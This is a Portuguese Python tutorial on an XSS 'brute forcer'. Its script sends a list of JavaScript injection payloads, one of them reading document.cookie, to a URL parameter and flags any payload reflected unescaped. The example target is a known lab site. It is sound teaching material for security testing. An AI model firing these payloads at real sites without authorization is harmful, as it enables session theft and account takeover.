Injeta payloads de JavaScript para testar falta de sanitização.
Contexto
O Cross-Site Scripting (XSS) ocorre quando uma aplicação web aceita dados de entrada (como parâmetros de busca, comentários ou nomes de usuário) e os exibe no navegador de outros usuários sem a devida sanitização ou codificação.
O objetivo deste Brute Forcer é automatizar o envio de uma lista de payloads (pequenos trechos de código JavaScript) para os campos de entrada de um site. O script verifica se o código injetado é retornado "puro" no código HTML da resposta. Se o navegador executar esse script, um atacante poderia roubar cookies de sessão, redirecionar usuários ou sequestrar contas.
Possibilidades de Implementação
- Reflected XSS Scanner: Testa parâmetros
GETna URL e verifica se o payload aparece no corpo da página. - Stored XSS Tester: Envia dados via
POST(como em um formulário de cadastro) e depois verifica se o script permanece salvo na página. - Headless Browser Integration: Usar ferramentas como Selenium ou Playwright para confirmar se o JavaScript foi realmente executado, indo além da simples verificação de texto no HTML.
Código
Este módulo utiliza a biblioteca requests para testar uma lista de payloads contra um parâmetro específico de uma URL.
Requisito: pip install requests
import requests
from html import escape
# Lista de payloads comuns para testar diferentes filtros
XSS_PAYLOADS = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert(1)>",
"svg/onload=alert(1)>",
"javascript:alert(1)//",
"'><script>alert(document.cookie)</script>"
]
def scan_xss(url, parameter):
"""
Injeta payloads de JavaScript em um parâmetro específico da URL.
"""
print(f"[*] Iniciando Brute Force de XSS em: {url}")
print(f"[*] Parâmetro alvo: {parameter}\n")
found_vulnerabilities = 0
for payload in XSS_PAYLOADS:
# Monta a URL com o payload no parâmetro escolhido
params = {parameter: payload}
try:
response = requests.get(url, params=params, timeout=5)
# Verificamos se o payload exato aparece no HTML da resposta
# Se aparecer sem conversão (ex: < virando <), a página é vulnerável
if payload in response.text:
print(f"[!] POSSÍVEL XSS ENCONTRADO!")
print(f"[*] Payload: {payload}")
print(f"[*] URL: {response.url}")
print("-" * 30)
found_vulnerabilities += 1
except requests.exceptions.RequestException as e:
print(f"[!] Erro de conexão: {e}")
break
print(f"\n[*] Scan finalizado. {found_vulnerabilities} vulnerabilidades potenciais.")
def main():
print("=" * 60)
print("Módulo: XSS Brute Forcer | Projeto: 30 Lessons in Python")
print("=" * 60)
# Exemplo de URL de laboratório (sempre use em ambientes controlados)
target_url = "http://testphp.vulnweb.com/search.php"
target_param = "test"
scan_xss(target_url, target_param)
if __name__ == "__main__":
main()
Observações
- Falsos Positivos: O fato de o texto estar no HTML não garante que ele será executado (o navegador pode ter filtros de segurança como o Content Security Policy - CSP).
- Codificação: Algumas aplicações convertem caracteres como
<em<. Este script identifica isso como uma falha de "não sanitização" se encontrar o caractere puro. - Contexto HTML: Payloads podem precisar variar dependendo de onde caem (dentro de uma tag
<a>, dentro de um atributovalue, ou dentro de um bloco<script>).